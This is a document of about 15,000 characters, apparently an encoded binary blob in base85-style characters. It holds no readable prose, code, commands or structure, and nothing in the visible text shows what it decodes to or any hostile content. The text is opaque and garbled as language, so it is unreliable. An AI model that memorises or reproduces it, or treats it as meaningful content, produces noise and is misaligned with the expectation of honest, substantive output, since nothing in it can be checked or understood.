zPdc69wjHMJ6fz37#`X>14U_OASh-m9k;}JozYtXV^?Tfw-mpUxuq?pi8x$utY~eD;^`rMnr0PBnK;?SU&wJ+vOm0;y4V(Jyy9F8oMq%PtYj$cxdjS+XA12s@mAC z?boPY&bEH6SKYVU&BQ zemg+uACPGDP}vz-3sE;Tb*>?%%7sg!d+%cz271X89Q~JC^MZIV{NLr2{AiD|bT#Me z^U4h5o<*blyt&TIlaWoPq-z~z?))HPrECck^O>mQc%^ap^^zs4L@_dI0`~r)_5+@+p~F}=fkR?MYrD7Q~vl6IB5k|1WGF45Wt`kE`%%0 zk7oDIsQr0f6rC-s^Wp<+t2>7%R2cCXENKi)sjFWuSD3;?@^*}8+zNPBC23c}U4N?| z7J&c>i~!NkOGg|oyVw~y=7J4FDFH40f&(RpC(c}K8=>g-)TmUl`lP~;ocbRS=N^4P z&$`GWlJDmklnyBYmosmJNeveDZV|toP@F?ulk_LeNB4h?GRpG_>rEx{XPz1Rk;$bPIcyrr$rf<+sPoyXggBU7f z_aw#}LH|sbWgjWum(qA#-a22+f;|YN$epm}l6H~yQ-pYc+}X}p8TEabM|`*qxc|=o z3*u3*$$;SYSl{F;4&Zm#rW^%9C*SGT=6;96cD;6;e%*Kb>xwCbuO#8fg(1QBgSv`4 z$$0m11`4<#zP2B|kwR=MMxy9vj;mXejONO_J=>#OTWs^UF`U(-vLneuWN}~F=r_u< zAwx9Axbf_^CgiPmBq2ZZQ4f!ZCHv3%%J4cjP=R)0K1Zvis}S|r2(wIYQ`j%Fvux9r z7_C`XTj?5eQP-UN_X8b>0-AKqToef`_kPhfGHpQ%F|^Jr_alN??!O2VqhB8l%pDZ(Q{@>*)I^LA zQ0|qrVohZcq0!P;V)>sPn~FVi(A$@K#gtr`cN0LqP z*@+48Z||7IGhmQ$?|}UWfHlUKbCSp&QNThZrJK#-Stg?!J~L9eoK~hng(asyjsV?L zn;R1A4Zhdzol|jBxso{Rl`E0&Qtjy-64{Yqq}V)?7Xr8sMl*t$41KjFaQ}ct#bwNV ze0FSOd0u~=R+66hU~IuAjS|i0{f)AhOAac_6yPQ(gl$T7KM#tg_}Nq4+0)3>=gBwK zK#|Sr-&_q#BzY(LhL!8bnW~#F=3i=JTKXdJY9mnoU&KW*9D_NgVeh=c z`xCC-f)eI`cI00mAn(1KMBSM#)Cz!Lp~<>*O-Qn3hmNMYy|3#V zPM$Uy9{D}mcBiwO$ym-{b?Vhj+cj&tr_J8KsjQXY1NcvuamKV;^*1>XQxjYD_e5R*JTIwDN41ns)>|G>@P_$ z6;L*elqMR!HkcfVCfRlIS=soW%nG`%y?wCU&rB)eDI%GQAIl|mK&udsG2*b4#SB=G zKs_5p5A$&^9$)@H*n97|rnYTuIBY?>NS7Lw-W6#o5R|i@`t||nX=XzYtAvp9M2ff z^UA~}TrTdrCU<3-aX0%o@1rlQe7e+^`#^KEj?RamkA~Ca$?HrqOkF?K1zxwI{mwiT zIQ~?L1t1@=)J*G40x;)3_U@TJ8auYik=-h}3tE!tpYHVM+UXf*CUr%zta(JnQSAji z1X@AT=-Hc6nQ*SnVdF=jRseL>arFJv=}f*N+SK}F>%u$6xyN#Goo7!BiM|a$18yb| zfr(<64efxEr-kn7L6&uuiX-!R!H|BHN5IG)b$BAweqfdQD@hfnsk;(hchCI z0rh}*k`$6?;NhDiG`8v~aK~r;_27JleodJ-7f*8 zgNzLqeOx;rrz`EO@RVabxg0K;x^R7q2LH|F3 z-sSC5d9dnjedP9DjTCkFa|s^Tzkf*mj(D_}*x;03QY+qQry4uv?K0_6{h2@ByfJ$F z^R`alw9tU0YoY9AXT^)TZM#WMoW5ViZ*O&}8(v!(0Rlo%f*Ai}A}1C$P<&I1raSrd z48`eO{sS_LfCGhgsqj^zDlSIP9N8c}^h0j76(B-jyI|UOO)lYq+ir2zrr46h-v$wY z3qJ9q4{*C{3$6YVv^NKeX8Jc2)!oE(K256Zisg(qmwkJ!649Xv@u?*v=k-}vENh_! z9?Fj)qKKdaGWRmIV2NnfRoQE%r0$b(8? zEWVz7s@>`@Bvs!M0H3jwGxM&Nng|Ag#JJS41q7nndiIN7`H@qAdFQ%D+kAyYqeb2 z5BX0rUEe8tcrOsxF@ZButj6uLkkdY?m|e|8F-Q7aZv0v@?&?=qK@8IuUp(51dHbVo zq65lYF7*OIRj%_~iCMZ2^UbY%N@+`HlV819PKP^5`p$iouvxpB1%=C*#JxT;Qj|WZP7-JU#(-Hv zbn4_R%k5|PEbEt#)L10jh6=CDtFhf56=j0Ez7jdX2gzhLneOc!M2ww{24Ad#BnHaM z=QeT3+WeiP9R%o2s=TqCssrLr-qZ$My^EutF!_+~!KK3!Rre6Kk|x6XHHvqqWsNU2 zG<{zZ$e4LF#lh%t6h&b$3A7HY4kiZd)2Y!|l4LOSzV`kPX;Y>78$ZMG!W{nr$Dg6Z zG(>qGC~ z#@kIB70P>d0A0#0ybwYXLx^kvct$%NGdMHFb^ZJ5xe-}M1;Nz)9|j>8BnrOjc0KrN z1xb$FTC2$XFNS`uK$(cAaF=}a+u3jgWE=0fH+KhI&sGjra10lWdvnb;fgY^ieZS37 z^xV!DsS3N> zbOd5?-~|tqo3<|KWKkDuSFL39M6QB z_~wxd^h^bB6s4Ej^N%tq#J6e zzqy_M8`Vi0hCNPM*8?x$py)YxDxqH~^~I*NO1~=W>z2REPyFnN6 zjBf7xNp*G8s16qA`K$4T9d4xMtxvmScL{fORaujj{|>nNPl-~G$NVj>eQb~a z;r3u<8NA`jb^9tn+aU0IhN0~{CD$*4_5*)fxMEqiq;|A!7(_DCw`O!`bj*i)t?zR# zhu&Jut&esaaWG+b?(Bv_cve@Ux?H7D``rM zcl}8=^S_3eeSY{@M}91oG<$Kf`{te)YUut=Q))=a=-9x)yM^r4Cs&c9Fj+?h8cqt-DjEo!m{l5-y z9H@+ti?~)^8!Ec$TSPq1huX>f<>$z3XBKA`e|zs!2BTZhUmj8Ymme418W$cH{zngb z{5;3+$DedO-}aB!&o3VF*dHAGgJXXH?6=4M;MgDh9N`_uZ$QL)93LF}gI`Zf$ML~& zd~oa!j^l$rWl)a&!T)N1;Lyg)6s904&*1L(y)xp0$d!S0NrTZGTZhE{u}Gf3X!y6}@&D8*c>MX#byObP>3^S{MAS`g=?>kcJQ_JX z;1RL=&ovA$OE8eG1-p!}g#t`lEme;8E;i31gmZt*&PNVd-TkRwGgeI%B*Bu*a{T4k z2FLT@crE;4{K4N5!u-7|knoD;tt;Otf17->2z9%J@+D_IyAw2*E6g42)soJejJI@L zy7~d{&Eu6jdtxLX@o=S+WC`69O`FyC0f_P@ZcOfF9f43lDZ(cYxA+LEc3CfX#HioK z;mO8L14u{A>NRgt&@bc7ty${J8?zd_3UB`75&rfFO~gxgzIakA60rzika4*r8Q`Lg z+nhi#*1aPT=ZY`@Uhdx}2E}rx;dyJ1K*~kL1RY%F0RteG^BzgMl|w+@2jEEP0CbK! zYz`>i+ClBpBj!FKqQHN-ubM9a%1DYk0-c>x7di|r1jM`nR8v5oX!lnamL1Urz|ifa zJ<9W!A%A%g^}o7oVJU!b{`^pv8M}`_e|?{jzg*Yz6>#!66d);gMeF?4ZTA25bsh5o zbX96eYV*{wb$)q?$JY5}&K}R5v%^$j(3iu!Q)u@I95K6 zm5w0CBKfG|KLd-Oj- zG43Be#oz11AAkQ{7+Q|){rjxaKiTnrBIAv2THf-wOHj7OO3meb>~+Q;?a| zw35!|zHyzVX;GY1Tl+A7%|L~nlXGIns;OGZ8S>|`^CjZ2+CY^dXTwykN{JBYEMmg#c?M4fEqBHF3*_-WE;cdm=FZ21dO z7pSn6i*D?su3h9IEue_`tKvyfSK~OtED|7kr3K`aRg}14!T`Tz`1&eL;FBhLr*0sF zG0c|TTQ7g2TV=uTDIl5d1}%IwUi=SBs7vZ@V0ai>`~)__VYdTLCTH6hSF}&f_k^LJ z@z1{-#j<$ImO(F(#t@qhD3-=mlLjECCG!4SS`+GY9Ru#tO@MD89*zHOiQy5yga5Ii zlWhB3>kP%q(l~kH2O7JqqsSlXL?%a)mdgsMqu}-t=%xvBsh-Ku3#beg`I(D`>_@|8 zLMOHeotmCw4?PVt$oBEuGU^+BI3%e@Sv~$Gw1-Y@^%5xHo1X#v45HZtGM7)}J^~dQ zA@+@&p`UlO?h69kDfgcKnFRS@Z(15D5Yk!6rRb)bY-+=Nz~`9$ZiyF}`vO z5D0X<3`O@vTEAJ7V{4)s;Yc<)(B^0nQ=4#+AQM$Em{a@l*3&G*b_|8pLyX65&E&Mc zK!i+_H^w15rezH8rH3x@-J0Z~`4eJ*Fs`xsr`3PkE<%XK*Mhj#tZ#ExQLdruk zFab2#Z0~ULowT+eD|0_OcvoGrb7aA3@x0Yqpgu3iV)Ztiye=}wJtJa|84n@&V;~a{ zd=l~qvXGJ1`-rqZz`L&QGpbNRLh8ole@>YFLjLfr?T^`dnD>D$ z;)@=M@-3@+(PgU`CYz6ZNxOe1p!n zeH}f-ZzS`o(-o`l-cLv_Wp^Z6qFqN@@hgOl90neu1)=04!Ejce*7Ibtr?1ymd$qOq z*o30oNI*EA}=HRN-TdC6ErtGk|yA6B3O91RKiV zBowRl@7yU&XX23HxjjaqS49)bALD+~5r}!7DH940?g9MrebiIE1MTTP&u=?L^(C+p zsoIVD@5ElU91h>Ob!&Nz9!zEjt;kv9m`RI7FcW!ZuIZcM)We8c`A|D0p31tKG`$yE z9tfcg31>m?nBIGLW20(Wn2cG?bCwv7K;-*}pB3*rG+e+zIs__lvaP;=EM4_T#br7= zVuJkXOmU}rxwibEjJJ=<5HqPt;6YERi8Rb~l|NIDTV^MQvP_(8GrM}&GCWIvtS)1T zv{C`z(SMb{&13|j1D5^!G$vR8mJ5^9>@0N~7ZYx()n9&_eK@!w$Bm_?y12$5(e!2M zr*ATgp>8kVwMT1<$hd|=s=U{}F%q)#e7-fD@d4{uN`_}QdwRIU-LIlra&^#MFk{$3 zO6JccM%{D*0U_D50y~_~3;c6}4tj4g%P;jE&zs`qJhzX&Rx$4#4yQ^=$_4@Hj;SkD zYX#2dHO__zP;=|5rR%b)lNnqGodTuT@^=oAd`JR5j`-!nK&f&Rulj6W5v$M5-pcmr z&4s%Iux{y_>|XMBIGNAtS8CuEOY>fe;ScaILSH%&0W2**!Q6y1;GL&2&D40DW<~we z*X!rHn;*o9jE{1~J6fj9AAy{BPPMi{N>S}sdDLVRg<)d3C}C?l@{!ZBL*iuXr8l#9 z-$zF5QIe=xKTcV|zxl1bU8}hYK7&#Pk(RF|L}npSE}ginov5Zw=r|JJPZ*q)iqeDk zAWHqdq-57mEP3z0i_1irp*k4G&puP%lSr>K`nzB|!6D>>nVXsN&oNMSHTfMF*S}QiqI=&<{JzQ?FvK5UK$AZNy197a<6P zcwwG&8+({(_9Zt)+E$z|>Z;-f*7;MZUjdFIy??k` z^ou(c-$&V*)boU@16g>l7hmg@&M-x(86Qh~Nh9@2JBe)is~o(_)-H;D)0f!9`S!y5 z^lzG1s@TpWA{rl}CLCu*V&!9$ScngY6g59CJ)PG2(Cq8)tcWJFWo(rxQ+_gu$cyLN z2bt2q>wy;;03W@AT9ZJVTec!jC$i#lf?PpOc(?8IY=u_w z9$585a)YfQj^mcEzDm!TaEw<#fsj}SeCRMm5%Pfm#rqPRGwd&l%V7zo8tyC-rP-zTb&*{H*%Wl1) z-(Hb%UQ*C5CP_T}?Bpq$Igg0FcoL2G5lH9;)`;}k1c;8l8m$N4%i6mukh}Nr2t)xo zECwV1L~y5quK%F%uJ;mbm7lWXr77Dvao$+!}P zLe~(O11h2}j$t-xJqg3nnTFR5_~<}STZOG}N)<3X@$9^jZoek?h!l~UipeolxcJm8M=FCfrjePtPEV}n2|4}#ppF6&Xej{o+ zUSMFFw&Q&7Y0k{X9=il&t%wxqu#}gK^(MYZOv3{wNHy6f!?JMs<$FpjKt9?=cNSW1 zOMHU@Hk1QqnDPsjH@OjNmE8L6+4IhM@E_2kM7SvUWv zPE*kW0kSiCdA66y zhsym>piv#W_Xe@guX6+nK6?b3ceYysV~z6yj0{T$jzDOAMW|DC1PVdqSFYSEWLF^d za&&k^Mp*PJKY=5WTYCrkgazPst76t}XTraw(MVlHOVOM6uppN|m|D7>0xYigQsgeq z6rl9yAe*=f-E9SX0x4T{gafq_IZTL`7MtC3V;0P$FZ1WzZ}t@VzI_C=fmMF(7R|Wkn+@GUU3tl65?@=u73zukSRJ zEe;Q;;Dh!DnlSE=S<~0@kuZt5rJ8*#UGKd;_NS*nH8&qkf&?@{T-UoLj4nuaHXVT~ z7(0oqQfO_&LRIh)XuHtlaGhw(`x}(AI z1$9YWx^%)b8YOZkTL-+O}4HBUbtd1hhKkEr1Ea@~a-0 zjqsY(HwV{Y3~Ibru*)}H#n&c!J~u>vd!9Hro=Q2s7N%f97seto8Bu^nF+gVWQw6XF z&j?rXAy^7xgTO$eo3F2xVGBmx%(AbzI{G4Ab#p)=OZ>|)g%9h)7>Srh{==sb%h$2l zN$B=x=YP7Nf+v6|^)zc{jH+Qm1ZM1;8Ryh=K)SZI*auE;X#As2!#V|e8AEY5UM7yQ z{9+UNDM#F;S);WyTorz@Dt^Xj6*m*0)~PYfDKl&#cc3-@l_HSVP5M)_wSzGnTlQ|| zLA72Nsu)_D)+})w4=0FZz^)=aeLV|Icy>*Kd-}w`3$%@Xm7BKzV%qZQ<5LPc<$zCS z5y^sy`F6xQAntNQbT1HHfxNs)Cn=S$XmXzjBsQM8i%G4e2SN=(P6CR=$*lDiDJ&|BGX9U4B07!HoE zTn|X-BZHbWAcxv)Tz46ZYMMSzaGZ$=-RF%(&)VlWBq8Pew6f$J=cjteAJ=9HKTUM> zy>8jvyjwKNFd;?KGQ}hvzA!@VQy?y(Ealxjath>wIX09;O>=`WPH+Q5UW$4 ze1e+2wH_8a%8%6Wyj!(pGI^8EAJ@ad!+*N{tlCW8>DHHGKxXcMM2(z*M4%YT8>7MC z3Lc#{`Dt;Zp$CJOwQ*;N;bv=z%V@-ab&47Lm#(KLn%p?3(BxZS4xtZsB= zoS5JplV!t~Wr?RX>Ck$1L2MVl@I#Y8E@q5wjZ!tYCl5WbMXRm{588QD@EST< zTj~mq6ank$*#nIy(Ot_@(E&d|gd}9@}pEU3OkiIUY@F8Av z^2$3Dku{TatFO6le;zm+WP1&77ZF*LT6R-5R-5e$?zfr4E@J|e_LoAjrhTmKsX8So zm~%U_TTmivx+#gRv$?XlIU0Ln;{5Uiq_@!)ewM)8n#NqmTmVzTc{Yxh2l(}xid8p{ zPw;a~%VTTgIJgMLC&m+2<2m-S56;5Bq?Lj@(#DX@saJ;T7#`-XFpUMo7^SUwe_GHj zv!wfR(=?cB{hsF2_pFbvkE;d%yVfb&h0Nm0tEhR@%e*aaP{TCr)SY#lH!Kmj(`?S?pT~3%s`~=_{VMKr_zQjlsNK^unDRN`2+&{`>oIrcS!|kAY z&eSW^Z?B9MD)sfMcff3O zaQkNL3X~lNAji*~Nr1^t^ZI{OyeJ=Ba=0!O>6bdyjp0}e-F@3=;# za^j3yQOte$K9+4ZnsL+mbMz|H9U2Y8*8Vi>Q4#swrPiQl2QS4$SP#MWyCeJA!Ie37 z6Ypz7E@NEp#oiDhDidiBt08mDNRP}j3;f%5~e@3>C#cTcu z;x&JyXZT%(czzRspJ+kfe&z2_qRSd@|9;VsT@c@?U0zlFKsiO2k^kK1%hsSxzb%uY zyJW_GRUwM9MK3+41UvOaFDN0Mxe2^Meibgd*I8uN#BL8rw10@VrFeBB%Md570htj7 zfr3d*Md@5kzStX?xyu~d%9P)c7qbW_no=mxLo!mQ>^VILc{==W zpE>&~O>Z%OW-iyNc8hcplC5i!M^YbDb4TO zT0c#!ny{rgewbKL(#jGc2VgW$5NqzQ&V!7*L{-t5uB#LXr^G;Cn($|_svceqR9N%i z1$=OHVD`k6=N6_cSYRcs;UibkHOG&CMfcXNMX3_8d!T*oO1~8CrNi_G%91}0I^ptG zv+=2pCJ`X9xH>Flpe$GO$7Npb0m;JVu2jb}{I8fv6X#qvKS2+Ir-)b!$+vC55Jru(JR$lDV-(=Vp({xn#IL_H+M11}K?nC%3 z9Ev~pA^gi3H9%#I<&U)096!tP`}}9-!0#H8Ab$&|@NW)Dj1pmbgpv%RWJ$5SSCU_4 zUcR<-dA(?}V$Yk;MlLh;PtAMcyXQdEvOoL~YpkD^QqK;SLnGki!-^ayiykK?nnadK z%qOQpckIQ(IjP3#m7MFfS=iWeyYn*4;=b?0Bepo;{H^Tmi*V*QC#Aoo^Eg3$Gwpuz z3jMN)Uw}w@yWl(hwwDuACi8;-Ot`!?McED)86tWV5ghff?H%v3?CoidR~RnX6@7im zM)O8ZZf@JAL&-TS&>~nXkD?_)IO|t%47P$n#9VpKD>(#X#-f^$B-tUE>uKYqre6~i zM+*1OL*!H+3_Jk8B8#IUe>u9L#75NXZxC7BHNvx1U9l!5Kf#+MzVUk_>9nr@NnxGA za)9gBPQsiv@&S^tx9a@)p(I^LzVwW48W{>|2 ze;71fd&^li^H0^rzzp(@YHa)Hq9kPw6J(<+ov^!MDnD&E{>4@URwU)3yth^B?POUm z^JY}?=c@p;)0;;iF5;b_X1EmA_4$0Ue-18Ss{NC8>2tPemGsGbxu|!uPt`73q-%Xh zXnzb8HPZLp{Mf4v13)sh0Wna;JIT z9~X=|21@@p@Amfu7Jq9y=D!>U>27Uw^o77L;I#A5X<*ou`id%`EmE}c?! z|5U2h=AISYwDhu#O+SPiC?Dk#h}hM^Cav*cR~H{!Ot$khq+fWU-#@t1bYGv=7Lpc_wAzDYVa zve=5DR2af7ScizV2S)aO6d`5)>B{m!tVM-SmdNFu9g^bXS@dRJ_jDIuI^{L@MCghV z^MEWg2vx3>gx$S`^wctHg^TpByO4T5nQKWmXFfV9&DU{#?jrqL5#DsSnIdM$ znuz1oNfh+Wm#_Zq81}AbhxVA2T~1m;}Fq?G8qnHB$l8#jj9 z3Z)jRJP*v=6yJx~v}F1A5zEEiy|*kW{oWuAJB5=Emmr=%`@rncu8hmf4)}hFRYT^b zU2jEAF5hJFx58)0o$tEm8-tYzd_dN}eP00Rlxa8*Q@@ZCPPBHTt73c1>XYwWU=Vla zMDDpTHL@`NhemPkw_n8}bCmgE^Eh=3I6_H)c#h!wo*;>Tf~-@w_xw23?JTCs$8%~# z+5LGsIkhc)l~Cecv5z?R7*DB)eVt|q&EoE$ss|={c4#MA!p6>O^U23AQ|VS`*Swi6 z4?ng$!Kew0m>3Yz7{^;%q+Hgz?_^}CbcS9=FSoMpvwinHHQUIHsDe5XfnI4!$|gjh zk}wwBj$m{ooeS#uzFl4T1n6vWNfA*ltF4KfNw{a@^F`$B294&+*|Toica5rakozj- zH7RnO4f${hqF04{)k!WMc5Q!SB6946+*{*v$G7Jsy2YY>i{uFASbsA@0`^vGN6JRD zq9$)4zDg&npngl;*&6RFpwV-7FU!_ie4|=!fQ7M~6W;>~ZMg6PW7I(p*MhL|iVWlz zlqc6M0$@u>Tgyrnd=V$a@lyDja;Gekcp4iM20MqL;-|sf^_iMQaXt<_^QN)V+-<^%(ZuOQ`DlUz)XF`atK7d`>E!3m1tY; zgU1@Y`6ZYLx(-44&#w7Z*_L@!elpWh#r8KRgbVgdA675g;J2Dv$= z^ap7AJC5#iwzj}!aN5b(#Nis22@VocC^Rn zgj-y!yaF$n?b#WMPMaR+KN0Zm%xS8CQYPgEm#I;wz}bdNSX5`@Y2qW-Gb?Ef@onR$ z0u}oS{@TtqUq*(#8kp8^`f{Xd{uJ6Ons8P5;Jwih;#8d$PQHx^CDjH#DHO~^5jI}x z@Yn%tXCqPf2>iL2Vg;%Aq=3JGXLsw|)v{NIStNc3C>@;L-0=#3w{tFPvh~BbnMU>q zwWK^-k{zXZY-TAI{@@hD4V+*t2I#R%rTwnoo<^@ENeD8;)yLnEiAB9YmJLm~hiArJ zeqcbOY;$*0?&34eR))p~IhcGBChe&tQP$eM(l64z-9N`nLppY9f~UJSm!?%%gZ!h@ z%q(TQ3rzJu*D;Z8nxh1JG8sK}uTIkw!%^hy;xv3OYE#|mL@`68rSxfr6N)dg2Ewx5 zwPHeQ3kmL0l%zo=u9W%hqLQ(quqVL@DI8DMl<(%}ay)2o(mKo0p*gC}YAUb9WVes( z5W+#)i&&?Z+5Dgp=c)(F>6K_hpN}m?+);bX8d1;|tj)!t|2f2bbD|T<0@FvQ zop50LAw_0SvPdsP<@ew86bn=Db}Hr%F;G#{zOGyS(mlKe2~ z>h9Epd_wYqaW;7$CR&h@&L5&I8TXPHXPLg-e4cczNdZ%rA{CxS4;OLVUkF!{B&v-( zp_*+-oVd}yji^wiuYYT%{`ea=GhdIOyAI{q1yKY2rJ~>lEJIWhbuG zHL4#RlM`ucU(kkMq}4DJe}m()s`?fb^ww&>DiF?Qwv@(@K`1En$*~wFs=A@=3qdJ6 z!Eb;1@wGJT@l%HNS5K*3j9r@)IzHr}rJ^h(2pqHYLLG*9Da{ma3<@!^ShF@>$`#7f|q9!VLdoO={ zHC(d*5NWHqJDouW8$5Rn;QbUs+pL*2K|;Zt;!De2S2dti*UlwJ|P( z$pL$VsbDPqFg}c!PN~C4VwIbg>koB7WTO2$HNx1-d1Kx)J4LBh1ZEuD7TyZm`HV}a z3d%_EHjX!p*Q`kq3RyGsPdqIXw#GOef1)RNRpT00ob!kM;QR*lm&>U#1b^%n6gyIa zMPQ`D>QwU(PNt?Sa>#)`f$XWb!F2;9r;8oNZ$+O%LF;F%r=SK)jhjCEMTcRI0G#|C zIL@km2U;)<`=4l?97KQ136=@qGAOT09P<>rFYqp7vNn_EQPlbH+id!YkBnR%JEFwv zSTS}8d($IO7}NdP>uD{wKd5{E=GMU7thFZ$x@Zg~Bvh5YjNk1 zySP5mi(u`%zdI} z5aoWVp~mO*Fl&uFJe+Rz5aK_gA z;pgy2pSx1n%vI9+eR?cvaXR4$TQC!9cFiQ$zZ)MZ_2ybdW&>zZo;hL$=8KbRwoo8c zV4P_&G0~nyZ?H72dWyb(`dDr9VbuXeUkiXPcO8Mq zzSt-8(go_99TLHdkrD-&o%?;$u>Ru15mM@N8*|H+G-fy}Q3J;i*#P!&nCM7hc#(Rw zcItBBqtcqPhRD;saktJ$YgU)E#A!CuR(a^Tk?K`#+z@1N{&sH+0~b;LJ5kpggJKx9 zcm8CTl7M|>p~}lD5IlZQ-8trbu)>MRLb4{Eu{?CZMpPXm8W9e^h_h)7kj$YbynbNo@`tqBY=K0T$jIF7(pVgP4SHT>fA7NT~FxBFceu*6_6CS=Bl^1$st4EdX zT`bX6Zy&HJ#yx&YW|CG`^&EC%Mkgp0j4g^NP-^{Td|1^N^flT%)pKq$r;qsxcV;d+ z`chD@>YW9vwK+Xgv%Rzy6qSrfqXU>_vFOvvBOWR3(xKUx(CQRT^K=jHQcI6E>ZThL z(L;SNYSx|uM)cHSAUfdK!xS%~S<0%Ec(0gh(!Xnq;^eR}ijWuY5piP5u|FfuLO)%L zfzZLUvEH3|G2yB7SR!0-0H*q3!oI4XwyQv}%+BJ16|X%P@{twU+c;&hr&@iS4q%>b z9kvxVoR3;3Mkr`UHf+@7%?neZ(g)Q~Uf&7*M%T7^gAU{^@?}_LDrbJu@cTN6%6`B; zmF`0G?77(hiNYVwQg1&jRjs`^)2G))ub_6p88n* zVzRhJh&KpOkzngk7N~s3*kwFasINFnbt~AQd6}|*r%!LPx4rWL&`wSRv^@W}NUk5> z$MJjkf13lp6Zle2_WwVtjQg|<78eHJtbh2>t$SibdKm^Yl5fZGo{e8 zu@=mftJyQjl0fY#nh!@APE`M3-&^FEwLG4bW_d<;vna77cl;`-$ucPR?IA?f%vK=d zk(-Vihz4{5KvT0bA_9Tr?J@jlr&mfn7v@yRc z5BMPiQ`+m0FA{uj=H-;ojS-_|*Jyt^Lnu79+h^PhR1-*tEW_m^H9U7Uq*5M0r_ zAsdQN%t2qVy&SL6xTIpP;Mju3%baee+PAeI(b|{dJG9(^mYvUVE<{Tu(5PE~SORcP zBps3~^>`eCAP}n~kp4VS;=DrA*?}K{yi*o)o)_tfJ`S>PxHsVCzP2*|`8n?1Lm}#K zf=QRO3fK`k*J5-s8Xf{DQ_tZW#3InL_{Apk2-H0K zE+TYV&;K{>}FpPAYv}dzEY4v1W}#0Vop!ZHj2o0eJZ2i3W|^ zVgN7S1fs7m0ifeKfW_>98<$9((}kHGen#Q4jr7y@si%<$H0SV#&4#{D0dYX%aM@}s z&>P)9e-7+-Qd_5|_VFCeJdk!|CBy@q0}~|17=kte1K2J-^Wgjh2@XRMuv2r0kB6O5 zJZZ;I0b#kC+1CyC^xvAEhSj)xS2a%D2x+Xq$Ibt!5}SxaZZ_0S6|H*@Z7~o`(#n$# zPos#nyCy<&9!2Q7xY?S>a-$uJ(2>N_!sjd>qg=3EW;{^t&Tar`SiV?NcSW#Z>;XAtDrKN@6k>1k0~+LWz8phG07s z*C#~Q&G|vg1UTilD*Ks~of5DvUT+RBUslmjf=H4}S_`9 ziTaAQ-1Q+{Rao=(IjA6f1gHVY#!9uMs3p(TQViF5%!;8_`xwTglUaIR86~_t4RzEA z3uE}kR|voBxN?O!beK68g2FEnD3vN%mZIp}ybeek6Zhxu@hMu}`fl0awq~RyxWhcU zhwSj;<;A8Jry$n!4>WxW6rB|!9H+o71&>E+Zfm3u^KUYu$xqUUVIpVdM9x^2p1B+i z)e*>!fqn@&@-oV`olU)U|6Uw<5O;4aO>BNnPxi@5Mv8VR?iJt7+lRvneP31i`(*Qpjy{TbKw@iZ&YLl7bI}a6u7qfMSaN2F(brA%6sW& zx7P(ayRcSja#%TCI6H$?W@WrRRgBVK+K6nd1e*PyB2I5NhD=KhdaBFU2oDe7hxq&R z5lhtESMRsQ$iz68_`7)aki{wXDFY3wu`u>VEf-YV6{)atdLvB(#{kJ6{k&UuZDTDp z9^8z7@yuK^TIIc@#v`)MB;w=J^2VS450U#BULZvld-%55%!>MK(!E5v{mf6r+h^}h zUmDEk2Zm%5`0MMey5HBg&Z~cuF>!g%*q0})+N>Cr`CadBRK?okTBW4Jv__{Q5G(*^ zlQVNwLdXES5cXuz>hl5Hr?3xpj~>UAXEO1t^fbtUp1RY5Mi&~+lctnFSnn8FaA*S) z78$1K|8dcmgp6+;S#hICz7ft+{OEp$qUPpv!@b+nKt@ap|WVS7rcfjcbMJ447*E!ek7WFuMn!}FW0b5Gm5~;nJ=|W(M1bI zToSr^a(>iI0j+uY#1AmRSE#i%T1@u1Hr=yf6e0kwJrHsf=9a# zvI$H{@YZUd_wxPaY5uj&lC6{O}-AxXW#pStGIH9lWwJT z&K0g<2#^wOJErJ4guPA-M~i-Dj*+5YF}zsNQ&)9aR9sRwN3S$q>{AcN3F+WY8Bw=d zWv>9f17Ffmswg%ogeYK-1=y(vAB|wjkPmU!UOli!8p^v(elp1~%-QX9xT6nx-dvQE zk8p&ZT!NgKBlO|8)JKRy_O8B%$-M7!O`V2{T%J2DOJD?U?7c71yMK@Tkp?J*P=;T{ zdB9W-qm@_*i}p9v%xw(@*S|$tGMXlrA5>Cqi?)h%7U{bC(VoQtDTuxKNSw-iIPZ#u zaKGZUSq3V?o94=Cfmpr)&ufNbs@a{dzkF;DvQoSMR5GyNo%Zx+zWxR|_!#&U=>+W7 zAc@Feyd3M}w=ZFjJ9)%hle4AzXFF_cC!n7G*k`U3X zpXix)+l?QeA{XrFN?-Zr1l6u~nQ2&0-i3RS-2jxHpeP&Qiktp2a0DXJ=wqMJjwae6 zRVrSKMF#RSJCt^y?s*#WKBs~AUfmD9bWQ4CTzwx%eW*&Kr%FnMGJPyhV*Dq9N86Pr z(q@M*3~uVnTvSjW*9~VnXN}?lUB686)Ctxx9stYjVj&&J^_`Mj1L0^mRNq|5?_? zNKb!yE`uSdz~VQ$)zRaZB?{JEzJ1}3V>NFozti*frSwVGD9^?c&$XBcgi~5nsx(%F z9!>ka?k9}~JKNMBhrArIp-@@xBN>mQD^>0sy5>9TFxs*2e*;RHohrm`M;YBV zw%G3wiCuS2oM8*k4&zzm*G&*Vi5{qQoJU22$z`WpP0I=2ur})w3>cSSwyrEhVxL)= zg{e-X+0(9>N0(30aJyf~f6bpd{}$O%w0AXTtdX=(bSTpfHCkyn_gzscN2vtkd}~m% zI0_(N=xm*3=Qm`sOp~YWnkEXI^;eChL4TiM{7v6-Z>p6peedn|OC1A`_XG;8X+i>=v|G z>#iS`00rERmhKhB!pk9i2?p1O;w9svBj!E?d{bpHRQ*>7!0Ej;`mZDRoQu9?{QaUIn;s_oANJles_D0D7eo;0T{;q^h)R<##Y9D# zh*9YvMUW<7L|TAAklw3+fPezhA<{dM-b8u}HK8d*63`GJ)D9Xk=Jx<@^hp1PH$7M}b*M8lTCY6Vfm;6x;Fo zuRD_~#d6g7&EP@prnuwb!XrmMUw6CYVW=k|jhKXobfLmek$ub0)czXEnFWeZeXhHH zt@X^?$z>Sk_?+J4BhaCVk-t`>I*2@hsb?{EEJroWiNL7nI)hOo^cvzSTOaMK)m}L zI3o1dy+7=DnwAax=3Y3RASe>s@oe2mG$fBR_xjN7Lw!Yge#lPz z;I@#m$Gx?=8T6~9C_f|z#DztyAFML*+he1qW(omm)USHFV%8X#d)uEQH&&}rFzk_&jNu=wNJ#35sDL$B{15ZKwRl(h!2FWs6@!20dH${7UZWC6 zhCS)F7*(EBImz(M4NkMp7D~3jL70AK4-m(~_OefRd$yEPPq#!^Sx_0@B}Q1n5tUW( zA^iF$W5h>Od&TF?!QfYKyHP%FUdYP|92pOCo_r4pczrl0i2_+d7q(_s9|J{462hsr zCc!S$P=JVCzZaos;8U#kTlY9?!&h=9L6x4!>E3;wfOdmMugH-qa7hd#%t&viSlyg5 zTy)Cu7F`qmkJaym)cthb^k(;`ss8b&X1h7Jv}FUXOCF+z07dK7=szr=b>0C8%MK>J 